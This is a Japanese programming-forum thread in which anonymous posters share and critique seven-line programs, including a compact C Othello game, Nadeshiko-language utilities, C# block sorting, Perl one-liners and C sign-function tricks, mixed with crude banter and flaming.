124 :デフォルトの名無しさん :2006/10/28(土) 16:08:23
うーん、公式ライブラリ以外を使っているのは微妙な気もするけどな。
125 :デフォルトの名無しさん :2006/10/28(土) 19:48:05
>>122
Cで #include <stdio.h> 書くのは許していいの?
126 :デフォルトの名無しさん :2006/10/28(土) 20:19:46
じゃあお前includeディレクティブなしでCでなんか書いてみろ。
できなかったら半年ROMってろ。
127 :デフォルトの名無しさん :2006/10/28(土) 20:44:46
Cなら楽だろ。
128 :デフォルトの名無しさん :2006/10/28(土) 23:04:28
>>125
Javaでjava.*を使わなかったら認めてやるよ
129 :デフォルトの名無しさん :2006/10/29(日) 00:44:16
標準ライブラリや有名どころのはいいんじゃね?
130 :デフォルトの名無しさん :2006/10/29(日) 01:32:42
標準ライブラリは誰からも文句をつけられないが、
有名どころなら一部の人からは認められないだろうね。
正規表現をboost使って実装されてもハァ?だし。
131 :デフォルトの名無しさん :2006/10/29(日) 03:21:16
boostを使った面白ネタキボン
132 :デフォルトの名無しさん :2006/10/29(日) 03:25:40
スレ違い。
133 :sage :2006/11/09(木) 00:13:29
まだ続いてたんだこのスレ。感動した。
134 :デフォルトの名無しさん :2006/11/11(土) 16:56:12
age
135 :デフォルトの名無しさん :2006/11/27(月) 22:46:20
だれかなんかねーの?
136 :デフォルトの名無しさん :2006/11/27(月) 23:19:49
昔、ポケコンで1行プログラムがあったな。
BASICだが、独特の技術だった。
137 :デフォルトの名無しさん :2006/11/27(月) 23:45:01
>>135
ネタが無いなら対戦リバーシとかどう?
138 :デフォルトの名無しさん :2006/11/27(月) 23:46:52
>>137
俺が作るのかw
対戦ってコンピューターとの対戦だよな。
交互に入力する対戦でもいいか。
139 :デフォルトの名無しさん :2006/11/27(月) 23:49:18
リバーシって昔なかったっけ?
x軸とy軸を入力するやつだった気が
140 :デフォルトの名無しさん :2006/11/27(月) 23:58:45
おいおいすでに誰かのHPにあったろ。
141 :デフォルトの名無しさん :2006/11/28(火) 00:08:24
ログみたらオセロ、マインスイーパ、ドラクエ
いろいろあったわ。
同じゲーム作ってもおもしろいんじゃないか?
ネタがあれば作る人はたくさん出てきそうだけどな
142 :デフォルトの名無しさん :2006/11/28(火) 00:09:31
辞書を外に持った簡易日本語IMEってのはどうだ?
143 :デフォルトの名無しさん :2006/11/28(火) 00:11:24
>>142
データを外に持つのか。それはいいのか?
144 :デフォルトの名無しさん :2006/11/28(火) 00:16:31
ダメだったら毎回辞書を標準入力から…
145 :デフォルトの名無しさん :2006/11/28(火) 00:16:39
だめです
146 :デフォルトの名無しさん :2006/11/28(火) 00:22:08
ネタとして楽しめるならなんでもいいよ。
評価は見てる人がそれぞれすれば良いんだから。
147 :デフォルトの名無しさん :2006/11/28(火) 00:25:35
じゃー明日オセロ作るわ。
明日な、明日。
148 :デフォルトの名無しさん :2006/11/28(火) 00:31:34
>>147
プログラム作ってる暇があったらちゃんとオナニーしろよな
149 :デフォルトの名無しさん :2006/11/28(火) 00:33:27
>>148
校則で禁止されています。
150 :デフォルトの名無しさん :2006/11/28(火) 01:25:21
破るためにあるんですよ。ナニとは言いませんが。
151 :デフォルトの名無しさん :2006/11/28(火) 03:45:57
オナニーじゃ処女膜は破れない
152 :デフォルトの名無しさん :2006/11/28(火) 04:00:38
処女がバイブ使うのは、推奨しない。
でも、たった7行で逝けるなんて感動。
153 :デフォルトの名無しさん :2006/11/28(火) 07:54:50
今日はじめてみたけど楽しそうなスレだね。
初代のトリッキー1さんとかってまだ居るの?
5年前って凄いな。
154 :デフォルトの名無しさん :2006/11/28(火) 08:06:29
7行printfは組込で実際に使った。便利だった。
155 :デフォルトの名無しさん :2006/11/29(水) 03:25:04
そういや、VBScriptやJScriptってsprintf無いよね?
156 :デフォルトの名無しさん :2006/11/29(水) 11:02:47
ないみたいだな。
http://www.google.com/search?hl=ja&lr=lang_ja&ie=UTF-8&oe=UTF-8&q=javascript+sprintf&num=50
自前でいろいろ作ってる人はたくさんいるみたいだけど、
これを7行のプログラムにするのも楽しそうだなww
157 :デフォルトの名無しさん :2006/11/30(木) 03:32:53
10進BASICで七行プログラミング
158 :138 :2006/12/02(土) 21:34:13
先輩!
COMとの対戦オセロ作ってるんですけど50行くらいあるんですよね。
月曜日まで待ってもらっていいですか?
159 :デフォルトの名無しさん :2006/12/02(土) 22:01:46
よーし じゃあ父さんもなでしこで七行プログラミングしちゃうぞー
160 :デフォルトの名無しさん :2006/12/02(土) 22:52:59
>>158
きたいあげ
161 :138 :2006/12/04(月) 12:06:28
今14行 あと7行……
162 :デフォルトの名無しさん :2006/12/04(月) 13:22:05
COMとの対戦オセロなら、パート1でトリッキーの1さんが6行で作ってますね
163 :デフォルトの名無しさん :2006/12/04(月) 14:07:25
>>162
だから?
164 :デフォルトの名無しさん :2006/12/04(月) 14:13:19
>>163
せっかくオブラートに包んであげたのに…
既に素晴らしい作品があるから、二番煎じな上に14行なんて面白くもなんともない経過報告いらないですよ
165 :デフォルトの名無しさん :2006/12/04(月) 14:49:11
>>164
(^ω^;)
最近7行のプログラム出てこないから書いてるだけなんだけど
面白くないと思うなら面白いものを提示してくれ
166 :デフォルトの名無しさん :2006/12/04(月) 17:44:52
>>165
相殺法と呼ばれる詭弁術の典型例
やっていることがつまらないという評価に対してなんら反論できてない
167 :デフォルトの名無しさん :2006/12/04(月) 18:02:36
ああ 他人が見ても面白くないのはわかるよ。

#include <stdio.h>
typedef int n;n t[64]={0};n a(n i,n&g){n s=g%8;g+=("1987"[i%4]-48)*(i>3?-1:1);
return !((!s||s==7)&&s+g%8==7);}n h(n x,n m){n i=0,r=1,g;if(t[x])return 1;for(
;i<8&&a(i,g);i++,g=x){for(;t[g]==3-m&&a(i,g)&&g>=0&&g<64;){if(t[g]==m){while(g
!=x)t[a((i+4)%8,g)]=m;r=0;}}}if(!r)printf("%s:%d %d\n",m==1?"黒":"白",x%8+1,x/
8+1);return r;}n d(){n s=0,d,i=0;for(;i<64;i++){printf("□\0○\0●"+(d=t[i])*3
);if(i%8==7)puts("");s=s?d&&s!=d?3:s:d;}return s!=3;}void main(){n x=1,y,p,m=0
,c=0,k=0,r=-1;t[35]=t[28]=1;t[27]=t[36]=2;while(!d()||x&&k!=r){puts("x y");
scanf("%d %d",&x,&y);m=m?m:x?1:2;if(x||--x>7||--y>7||h(x+y*8,m))continue;if(d(
))break;k=r=(c++/2+x*8+y)%64;while(++k!=r&&h(k,3-m))if(k>64)k=0;}x=y=c=0;for(;
c<64;c++)if(p=t[c])p==1?x++:y++;printf("黒:%d 白:%d %s",x,y,x>y?"黒の勝ち":x<y
?"白の勝ち":"引き分け");}

12行までいけたけどもうやめるわ。すまんかったな
168 :デフォルトの名無しさん :2006/12/04(月) 18:13:07
>>167
関数使いすぎ。
グローバル変数は仕様上自動的にゼロに初期化される。
セミコロン多すぎ、結果if文増えすぎ。
for文やwhile文多すぎ。これらは工夫で1つか2つまで減らせるはず。
breakやcontinue使うとかありえない。最初から構造をもっと考えて設計するといいと思う
番兵使おう。

別のお題で再挑戦頑張れ
169 :デフォルトの名無しさん :2006/12/04(月) 18:13:49
自分からネタも出せない批評家気取りのクズは死ねばいいのに
170 :デフォルトの名無しさん :2006/12/04(月) 18:16:14
より完成度の高い対戦オセロがでてくる『可能性』の芽をつぶしたバカ晒し上げ

>162 >164 >166
171 :デフォルトの名無しさん :2006/12/04(月) 18:22:01
>>168
じゃーお題出してくれ
172 :デフォルトの名無しさん :2006/12/04(月) 18:24:04
実際過疎気味だしオセロとか低レベルなのでもいいと思うけどね
新しい7erが現れるかもしれんし

>>138=>>163=>>165=>>167
なら少しくらい煽り耐性つけろよと言いたいがな
173 :デフォルトの名無しさん :2006/12/04(月) 18:40:07
よくわからないけれど ここは荒んでいますね よくわかります
174 :デフォルトの名無しさん :2006/12/04(月) 18:45:31
うお バグりまくり
175 :デフォルトの名無しさん :2006/12/04(月) 18:58:10
#include <stdio.h>
typedef int n;n t[64]={0};n a(n i,n&g){n s=g%8;g+=("1987"[i%4]-48)*(i>3?-1:1);
return !((!s||s==7)&&s+g%8==7);}n h(n x,n m){n i=0,r=1,g=x;if(t[x])return 1;
for(;i<8&&a(i,g);i++,g=x){for(;t[g]==3-m&&a(i,g)&&g>=0&&g<64;){if(t[g]==m){
while(g!=x)a((i+4)%8,g),t[g]=m;r=0;}}}if(!r)printf("%s:%d %d\n",m==1?"黒":"白"
,x%8+1,x/8+1);return r;}n d(){n s=0,d,i=0;for(;i<64;i++){printf("□\0○\0●"+(
d=t[i])*3);if(i%8==7)puts("");s=s?d&&s!=d?3:s:d;}return s!=3;}void main(){n x=
1,y,p,m=0,c=0,k=0,r=-1;t[35]=t[28]=1;t[27]=t[36]=2;while(!d()||x&&k!=r){puts(
"x y");scanf("%d %d",&x,&y);m=m?m:x?1:2;if(x&&(--x>7||--y>7||h(x+y*8,m)))
continue;if(d())break;k=r=(c++/2+x*8+y)%64;while(++k!=r&&h(k,3-m))if(k>64)k=0;
}x=y=c=0;for(;c<64;c++)if(p=t[c])p==1?x++:y++;printf("黒:%d 白:%d %s",x,y,x>y?
"黒の勝ち":x<y?"白の勝ち":"引き分け");}
176 :デフォルトの名無しさん :2006/12/04(月) 19:12:59
低レベルなのを上げられるくらいならいなくなったほうが・・・
177 :デフォルトの名無しさん :2006/12/04(月) 20:06:25
低レベルなのも上げられないやつがいなくなったほうが
178 :デフォルトの名無しさん :2006/12/04(月) 20:18:21
低レベルから高レベルに育っていく過程を見てみたいので期待age
179 :デフォルトの名無しさん :2006/12/04(月) 21:04:04
七行(C)の心得

・ローカル変数は敵だ
・セミコロンも敵だ
・っていうか括弧も敵だ
・参考演算子は神

もっとある?
180 :デフォルトの名無しさん :2006/12/04(月) 21:04:45
まちがえた。
○三項演算子
×参考演算子
181 :デフォルトの名無しさん :2006/12/04(月) 21:05:20
なでしこは敵だ
182 :デフォルトの名無しさん :2006/12/04(月) 21:19:59
再帰は敗北
番兵は勝利
7行プログラムは作る前から7行(構想と構造が大事)
183 :デフォルトの名無しさん :2006/12/04(月) 22:58:03
> 7行プログラムは作る前から7行
なんか良く分かんないけど感銘を受けた
184 :デフォルトの名無しさん :2006/12/04(月) 23:04:01
>>183
俺もだ
なんかこう…  深いよな
185 :デフォルトの名無しさん :2006/12/04(月) 23:08:11
!「nakonet.nako」を取り込む。サーバーとはTCPサーバー。そのポートは80。サーバーを開始。
サーバーの受信した時は〜
  サーバーの受信データを「 」で区切る。ファイル名はそれ[1]の「/」を「」に置換したもの。
  もし、ファイル名が空ならば、ファイル名は「index.html」。
  もし、ファイル名が存在するならば、ファイル名を開く。違えば、それは「なし」。
  内容は「HTTP/1.0 200 OK{改行}Content-Type: text/html{改行}{改行}{それ}」。(サーバーの相手IP)へ(内容)をサーバーで送信。
サーバーの送信完了した時は〜サーバーの相手IPをサーバーが切断。


(^o^)ノ<HTTPサーバーできたぞー
186 :デフォルトの名無しさん :2006/12/04(月) 23:14:16
>>185
7行なのはいいとして桁数オーバーしてないか?
187 :デフォルトの名無しさん :2006/12/04(月) 23:17:53
>>186
(^o^)ノ<こっちだったぞー

!「nakonet.nako」を取り込む。
サーバーとはTCPサーバー。そのポートは80。サーバーを開始。
サーバーの受信した時は〜サーバーの受信データを「 」で区切る。ファイル名はそれ[1]の「/」を「」に置換したもの。
  もし、ファイル名が空ならば、ファイル名は「index.html」。
  もし、ファイル名が存在するならば、ファイル名を開く。違えば、それは「なし」。
  内容は「HTTP/1.0 200 OK{改行}Content-Type: text/html{改行}{改行}{それ}」。(サーバーの相手IP)へ(内容)をサーバーで送信。
サーバーの送信完了した時は〜サーバーの相手IPをサーバーが切断。
188 :デフォルトの名無しさん :2006/12/04(月) 23:24:39
しかも、HTTPサーバって過去スレにあったよな
189 :デフォルトの名無しさん :2006/12/04(月) 23:28:45
>>187
これがなでしこってやつなの?

>>188
だから(ry
190 :デフォルトの名無しさん :2006/12/04(月) 23:37:33
既に誰かが解いたことのあるパズルってだけでやる気無くすのか?
そんなこたぁ無いだろー。

しかし、なでしこは初見だが、結構日本語風なんだな。びっくりした。
191 :デフォルトの名無しさん :2006/12/04(月) 23:41:13
「メールホストを入力してください」と尋ねて、メールホストに代入。「メール差出人を入力してください」と尋ねて、メール差出人に代入。
「メール宛先を入力してください」と尋ねて、メール宛先に代入。「メール件名を入力してください」と尋ねて、メール件名に代入。
「メール本文を入力してください」で、メモ記入して、メール本文に代入。「いままでの内容が気に入らなければ、{改行}取消ボタンを押してください」を、「続行{改行}取消」のボタン選択。
もし、それが「続行」ならば、「メールホスト:{A}{改行}メール差出人:{B}{改行}メール宛先:{C}
メール件名:{D}{改行}メール本文:{E}{改行}{改行}送信します。」と言う。違えば、終了。
メール送信。「送信が終わりました」と言う。終了。


(^o^)ノ<最低限機能メール送信ソフトだぞー
192 :デフォルトの名無しさん :2006/12/04(月) 23:42:04
^^;
193 :デフォルトの名無しさん :2006/12/04(月) 23:51:40
利用リストとはリスト。その幅は400。退避ボタンとはボタン。退避リストとはリスト。その幅は400。利用ボタンとはボタン。更新処理。
●更新処理({=""}Fを{=""}Aから{=""}Bへ)
  もし、F≠空ならば、「{A}{F}」から「{B}{F}」へファイル移動。
  利用リストのアイテムは「{SENDTOパス}*」をファイル列挙。退避リストのアイテムは「{SENDTOパス}退避\*」をファイル列挙。
退避ボタンをクリックした時は〜
  「{SENDTOパス}退避\」へフォルダ作成。利用リストをSENDTOパスから「{SENDTOパス}退避\」へ更新処理。
利用ボタンをクリックした時は〜退避リストを「{SENDTOパス}退避\」からSENDTOパスへ更新処理。


(^o^)ノ<Windows送るメニューカスタマイズソフトだぞー
194 :デフォルトの名無しさん :2006/12/04(月) 23:55:47
とても読みやすいんだけど、書きにくくないか?
195 :デフォルトの名無しさん :2006/12/04(月) 23:59:24
なでしこは案外作り易そうだな

標準で使えるライブラリのサポートが多いせいもありそうだけど
1文字(2Byte)辺りの表現力が高いお陰なのかな
196 :デフォルトの名無しさん :2006/12/04(月) 23:59:39
俺はCとか英語で書くの本格的にやったこと無いから、そっちの方が異次元だ
なでしこなら

「Hello,World!」を表示。

の一行だぜ
197 :デフォルトの名無しさん :2006/12/05(火) 00:00:19
なでしこなんか貼るな、空気嫁
198 :デフォルトの名無しさん :2006/12/05(火) 00:01:33
なでしこの中の人すげーな

>>197
おまえが空気読め
199 :デフォルトの名無しさん :2006/12/05(火) 00:03:38
というか、連投されると有り難みが薄れるぜ
でもせっかくだから、作り易いなら正規表現辺りにチャレンジして欲しい
200 :デフォルトの名無しさん :2006/12/05(火) 00:04:43
どうかんがえてもなでしこの方が空気読めてません。
201 :デフォルトの名無しさん :2006/12/05(火) 00:06:06
なでしこの欠点は速度とか云々よりも”日本語”だから駄目だと言われた。
日本語らしさを追求するばかり、機械的な書き方が出来なくなる、と

しかし二重インタプリタという感じで、メモリも速度も重いんだぜ
202 :デフォルトの名無しさん :2006/12/05(火) 00:11:12
C/C++得意な人に聞きたいんだけど
&&の代わりに&を使うテクニックがあったよね
どういうときに使えるか覚えている人いる?
ぐぐり辛い…
203 :デフォルトの名無しさん :2006/12/05(火) 00:12:28
>>201
なでしこってインタプリタなの?( ゚д゚)
204 :デフォルトの名無しさん :2006/12/05(火) 00:15:28
はいそうです
205 :デフォルトの名無しさん :2006/12/05(火) 00:17:12
>>202
&&は前の式がtrueなら後ろの式が評価されないけど&は評価される
ただ&は演算結果がboolean値ではないので思わぬ結果を巻き起こしやすいので
&&から&に変える場合には最新の注意が必要
206 :デフォルトの名無しさん :2006/12/05(火) 00:18:12
>>202 ビット積演算子
207 :デフォルトの名無しさん :2006/12/05(火) 00:19:23
>>202
なんか作成中なのか?
208 :デフォルトの名無しさん :2006/12/05(火) 00:29:40
>>205-206
さんくす
結構限定的っぽいですねえ

>>207
いや…自分はまだそんなレベルじゃないです
過去の作品とか見ながら文字数の減らし方とか考えていてふと思ったので…
でも何か出来たら持ってきます
209 :デフォルトの名無しさん :2006/12/05(火) 00:45:21
||の代わりに|なら比較的ありがちなテクニック。
あと&&の代わりに*もありがち。ただこっちはオーバフローの危険あり
210 :デフォルトの名無しさん :2006/12/05(火) 02:06:55
なでしこかよww ぱっと見て「なに構想語ってんの?」とか思ってしまった
211 :デフォルトの名無しさん :2006/12/05(火) 06:36:36
まあまあ
7行なら良いじゃない

なでしこはその前身のひまわりより
書きにくいとも聞くがどうなんだろ
212 :デフォルトの名無しさん :2006/12/05(火) 07:08:06
特に変わらないと思う
なでしこの処理速度はひまわりの十倍です
213 :デフォルトの名無しさん :2006/12/05(火) 07:37:08
なでしこ面白いね
ただ七行にするためのテクニックを駆使するものではなさそうだけど
214 :デフォルトの名無しさん :2006/12/05(火) 09:38:44
なでしこいいけど、1行80文字くらいは守ってもらおう
215 :デフォルトの名無しさん :2006/12/05(火) 10:12:36
なでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこ
なでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこ
なでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこ
なでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこ
なでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこ
なでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこ
なでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこなでしこ
216 :デフォルトの名無しさん :2006/12/05(火) 10:34:18
>>215
一見ただの荒らしに見えるが、「なでしこ」という文字の中にひとつだけ
違うものが混じっている。探してみよう!















m9(^Д^)
217 :デフォルトの名無しさん :2006/12/05(火) 12:01:37
随分ノリノリだな
218 :デフォルトの名無しさん :2006/12/05(火) 17:45:46
TTSneoのことも思い出してあげて下さい
219 :デフォルトの名無しさん :2006/12/05(火) 21:33:18
なにそれ?
220 :デフォルトの名無しさん :2006/12/05(火) 21:41:03
なでしこのようなものです
221 :デフォルトの名出しこさん :2006/12/05(火) 23:46:00
なでしこでインデント禁止だと辛いです。この間、テトリス作って15行でした。
>>191の真似してメール送信フォームです。

S="メールホストvメール差出人vメール宛先vメール件名vメール本文";C=~もし回数=5ならメール送信;終
S=(Sをvで区切)を全角変換;文字サイズ=16;反復,対象を9,回数*36-24へ文字表示;
ダイアログ数値変換=0;155,10へ移動;4回,E\回数をエディタとして作成;E[回数]→W=400
E\5をメモとして作成;E\5→W=400;E\5→H=230;母艦のタイトル="メール送信";送信とはボタン
その位置="560,365";そのクリック時=~Sで反復,EVAL(対象&「=E[{回数}]→テキスト」),C
222 :デフォルトの名無しさん :2006/12/06(水) 03:47:10
>221
暗号臭くなって来て良い感じw
223 :デフォルトの名無しさん :2006/12/06(水) 09:46:20
>>221
イイヨイイヨー
224 :デフォルトの名無しさん :2006/12/06(水) 15:44:47
1行目の「終」はなでしこならではだね
ホントは「終わり」だったと思うけど
なでしこは漢字+送り仮名の命令に対して
助詞以外の送り仮名は飛ばす
Mindとかでもそうなってるハズ
225 :デフォルトの名無しさん :2006/12/13(水) 08:49:50
>>221
ちょっとなでしこに興味湧いた
226 :デフォルトの名無しさん :2006/12/19(火) 00:19:30
com2textを半角カナバージョンで、
ファイル指定は8.3形式で、
ゴミがつくのは仕様で、
実行は自己責任で。

H72タPQSVWP[Pクツツ0G=0GAs2A0GN1GP0GY0G[0Gg0Gl0Gv1Gy3ノア0T_)マ)マWセSテ、Iu>%
@3ロKCuフXセ}テ_="@3タャ,&|9uナ_^[Y3タテHP[アトャ<。xタ,0,0ムロムミェ<ノu,)ラ#
Oコ1ス60ニX@ス50ニ@Xスp01?Q1テ30シp0Jソp0ク@ル5キWuヒシ06Nニ@uフi[mコ4スウ06ニ@セ50コ*Oシ30スD51ニ@rタj
(UソD1[[2_Iノシ300Iタカネフネ+ヘNSl12WH2HオTj(ラネヘネヘpYチCコ1ニ@I_シ30カu_ネコ1ニ@T4jロVjシコ[1ス60ニ@
_ス50ニ@セ450ユウスC?0コ1ニ@コ-Oニ@コ1ス460ニ@ス550ニ@ニ@TXKIタXXY1[[X]Xシ?チチHSNH>SPiIPH4SWHSXH
BS\HS]H2ScHSfHdSkHSlIZトクHZ_DVヌDヌ[ソYTチイTjOB`65PIヘUJQjニ\ソnNチ_NAPIGタカFCnL^jツ__]\
LIタチTX]8クツカNーlGタFHFHネJヘネネオNトdjFDヒA6'5B0000'000000&
227 :デフォルトの名無しさん :2006/12/19(火) 01:57:17
バイナリは誰かがためしてからじゃないと怖くて実行出来ないです><
228 :デフォルトの名無しさん :2006/12/19(火) 02:20:51
誰かが試しても実行できないけど、自分自身をcom2textしているのはわかった。
行末の改行そのままでいいの?
229 :デフォルトの名無しさん :2006/12/19(火) 12:45:39
>>228
やってみた。
・行末の改行はCRLFを残す
>>226の行末についてしまっている空白は取り除く
・JIS X0201
で。

コード表眺めて気がついたけどNOP使えないから小賢しい技はちょっと使いづらいね。
230 :226 :2006/12/20(水) 00:14:09
行末の空白をひとつだけ無視できるように。
ファイルにリダイレクトした時そのまま使えるように。
変な事してるっぽいけど気にしない。

H72タPQSVWP[Pクツツ0G;0G?s1KA0GP1GR0G[0G]0Gi0Gn0Gz3ノア0T_)マ)マWセTテ、Iu>5
4@3ロCAKuフXセ}テ_="54@ャ,&|9uナ_^[Y3タテHP[アトャ<。xタ,0,0ムロムミェIu-tル######Xスp01?Q1テ30シp0
Jソp0ク@ル5キWuヒシ06Nニ@uフi[gコ4スァ0.ニ@セ10コ*Oシ30ス951ニ@rタj(Uソ91[[2_Iノシ300Iタカネフネ+ヘNSl12
WH2HオTj(ラネヘネヘpYチCコ1ニ@I_シ30カu_ネコ1ニ@T4jロVjシコ[1ス60ニ@_ス50ニ@セ450ユウスC?0コ1ニ@コ5Oニ@ニ@T
XKIタXXY1[[X]Xシ?チチHSMHfSOiHUPAHSXHSY]HS]HS^=HSdHSgaHSmIトクcHZ_DヌD:ヌ[ソZチイBTjOJ65
cJPIヘQPJUjニ\ソn>チ_NAJJGPカFCnL^jツ__]\LIタチTX]8クツカNーlGタFHFHネZヘネネオTjdFjフAAA.AAAB00&
231 :デフォルトの名無しさん :2006/12/20(水) 00:55:25
>>230
カタカナ無しは無理かな?int 21hのどこかが必ずカタカナに抵触しそうかな。
確かCD 21だったよね
232 :デフォルトの名無しさん :2006/12/20(水) 22:17:27
変換効率が3/2とかなら簡単だろうけど、4/3だと難しそう。
intよりもmovやシフトが使えないのが痛い
233 :デフォルトの名無しさん :2007/01/02(火) 01:21:25
07年age
234 :デフォルトの名無しさん :2007/01/18(木) 18:49:08
保守がてら

参考リンク
http://www.4dm.org/PKU/

7行ネタが思い付かない人は、PKUに挑戦してみるのだ
235 :デフォルトの名無しさん :2007/01/19(金) 00:32:26
>>234
面白いものつくってなーw
236 :デフォルトの名無しさん :2007/01/19(金) 05:22:24
アセンブラ用に使えるニモニックの一覧表ってどこにあるんだっけ
237 :デフォルトの名無しさん :2007/01/19(金) 10:43:21
>>236
石は……?
238 :デフォルトの名無しさん :2007/01/19(金) 11:34:14
適当なバイナリ作って逆汗
239 :デフォルトの名無しさん :2007/01/19(金) 16:33:39
>>236
アセンブラのソースコードでも読めば。
240 :デフォルトの名無しさん :2007/01/22(月) 21:26:35
>>234
A+B Problemからわからんorz
241 :デフォルトの名無しさん :2007/01/23(火) 19:04:29
>>240
問題のヒントに答えが書いてありますがな
242 :240 :2007/01/23(火) 19:43:36
>>241
さすがに答えはわかるwそうじゃなくて、どうやって短く書いてんのかがさっぱりわからんってこと。
243 :デフォルトの名無しさん :2007/01/23(火) 19:52:47
>>242
参考程度に昔自分が書いてたコード
main(n){gets(&n);putchar(n%85+5);}
これはAとBの合計が10未満で、
入力の1Byte目がA,2byte目が空白,3byte目がB,4byte目が改行|EOFのときだけ動く。
今はテストケースが改善されて10以上もあるから通らないけどな。
244 :デフォルトの名無しさん :2007/01/24(水) 19:14:12
C#でブロックソート書いてみた。

using System;using System.Collections.Generic;namespace BWT{public static
class BlockSort{public static int Sort(ref byte[]data){int l=data.Length,i=1,j
;byte[][]t=new byte[l][];t[0]=data;for(;i<l;i++){t[i]=new byte[l];for(j=1;j<l;
j++){t[i][j]=t[i-1][j-1];}t[i][0]=t[i-1][l-1];}Array.Sort<byte[]>(t,new Comp()
);i=Array.IndexOf<byte[]>(t,data);for(j=0;j<l;j++){data[j]=t[j][l-1];}return i
;}}class Comp:IComparer<byte[]>{public int Compare(byte[]x,byte[]y){int r=0,l=
x.Length,i=0;for(;i<l;i++){r=(int)(x[i]-y[i]);if(r!=0)i+=l;}return r;}}}

ジャグ配列のソートを自前で実装するのは行数的に厳しいです orz
修行が足りません。
245 :244 :2007/01/24(水) 19:41:10
同じくソート解除

using System;using System.Collections.Generic;namespace DBWT{struct DE{public
DE(int i,byte d){Ind=i;Data = d;}public int Ind;public byte Data;}public
static class DeBlockSort{public static void Restoration(int ind,ref byte[]data
){int i,l=data.Length;DE[] de=new DE[l];for(i=0;i<l;i++){de[i]=new DE(i,data[i
]);}Array.Sort<DE>(de,new Comp());for(i=0;i<l;i++){data[i]=de[ind].Data;ind=
de[ind].Ind;}}}class Comp:IComparer<DE>{public int Compare(DE x,DE y){if(x
.Data != y.Data){return(int)(x.Data-y.Data);}else{return x.Ind-y.Ind;}}}}


やっぱりまだまだです orz
246 :デフォルトの名無しさん :2007/01/24(水) 20:24:34
perl -e "for(;;){print eval<STDIN>}"

インタラクティブパールできたよー
247 :デフォルトの名無しさん :2007/01/24(水) 20:31:50
引数何も無しでおkだから、さ
248 :デフォルトの名無しさん :2007/01/24(水) 21:10:17
perl -pe '$_=eval$_'
これで十分だろと
249 :デフォルトの名無しさん :2007/01/24(水) 21:12:09
それは長すぎ。
perl -pe "$_=eval($_)"
で十分。
250 :249 :2007/01/24(水) 21:13:27
被った上に()の分負けてるー
orz
251 :デフォルトの名無しさん :2007/01/25(木) 02:49:12
perl -pe 'eval$_'

でいいんじゃない?
252 :デフォルトの名無しさん :2007/01/25(木) 11:45:00
これって標準入力を評価して標準出力に出力するってこと?
具体的にどういう使い方があるの?
253 :デフォルトの名無しさん :2007/01/25(木) 13:43:07
irb のように使う?
254 :デフォルトの名無しさん :2007/01/25(木) 23:44:26
電卓がわりとかじゃね?
255 :デフォルトの名無しさん :2007/01/26(金) 00:44:33
あなたの実家に腐ったイカを送りましたよ
256 :デフォルトの名無しさん :2007/01/26(金) 19:59:39
ある変数が マイナスだったら-1、プラスだったら1 に変換するCの式
if( a<0 ){
 a=-1;
}else if( a>0 ){
 a=1;
}else{
 a=0;
}
を、なんか格好よく書くには どんな本を読んで勉強するべきでしょうか?
257 :デフォルトの名無しさん :2007/01/26(金) 20:12:38
>>256
(a>0)-(a<0)
(a>=0)-(a<=0)
(a>>31)|((unsigned)-x>>31) (算術シフト前提)
258 :デフォルトの名無しさん :2007/01/26(金) 20:19:16
まず中1の数学の教科書だと思う。
a = a ? -1 * ( a / a ) : a;
259 :デフォルトの名無しさん :2007/01/26(金) 20:22:10
あ、ちがった。ゴメン。
a = a > 0 ? 1 : ( a < 0 ? -1 : 0 );
とか。
260 :256 :2007/01/26(金) 21:08:24
>>258
ヒントありがとう

a = (a>0)-(a<0);
までがんばれたっぽい。
261 :デフォルトの名無しさん :2007/01/27(土) 00:10:37
>>260 >>257の一番上
262 :デフォルトの名無しさん :2007/01/27(土) 01:55:23
もうすこし短くならない?
263 :デフォルトの名無しさん :2007/01/27(土) 01:56:35
そういう関数があったと思ったが・・・
264 :デフォルトの名無しさん :2007/01/27(土) 01:58:51
これ以上はむりじゃね?
265 :デフォルトの名無しさん :2007/01/27(土) 06:43:02
>>179の心得に従ってみた
a=a>0?1:-!!a
266 :デフォルトの名無しさん :2007/01/27(土) 10:13:35
>>183に従え
267 :デフォルトの名無しさん :2007/01/27(土) 14:25:48
>>265
スパシーバ
268 :デフォルトの名無しさん :2007/01/27(土) 16:11:59
>>265
:-!!
監禁されてガムテープで口縛られてるみたいだぞ
269 :デフォルトの名無しさん :2007/01/27(土) 16:43:12
a=a>0||-!!a;

↑ってどう?
270 :デフォルトの名無しさん :2007/01/27(土) 17:35:56
a=5のときどうなる?
271 :デフォルトの名無しさん :2007/01/27(土) 17:44:36
>>269
正しく動かない。
main(){
int a = -5;
a=a>0||-!!a;
assert(a==-1);
return 0;
}
272 :デフォルトの名無しさん :2007/01/27(土) 17:54:52
あ、そっか0か1にしかなんねーじゃん
273 :デフォルトの名無しさん :2007/01/27(土) 18:04:00
まだそんなこと言ってるの?
アホが1匹まじってますよ〜
274 :デフォルトの名無しさん :2007/01/27(土) 18:09:37
短い順

a=a>0?1:-!!a; //13
a=(a>0)-(a<0); //14
a=a>=0+(a>0)-1; //15
a=(a>=0)-(a<=0); //16
a=a>0?1:a<0?-1:0; //17
275 :デフォルトの名無しさん :2007/01/27(土) 18:11:14
>>274
3つ目はカッコないとだめだろ
a=(a>=0)+(a>0)-1; //17
276 :デフォルトの名無しさん :2007/01/27(土) 18:13:46
a>0が真のとき値は必ず-1になるんですか?
277 :デフォルトの名無しさん :2007/01/27(土) 18:16:09
間違えた
1desu
278 :デフォルトの名無しさん :2007/01/27(土) 21:01:51
環境によるんじゃないかなぁ、実のところ。
279 :デフォルトの名無しさん :2007/01/27(土) 23:27:29
今までの作品見てて思ったんだが、音物ってまだでてないね。
やっぱりヘッダだけでもかなり文字数食うのかな。
280 :デフォルトの名無しさん :2007/01/27(土) 23:37:20
>>279
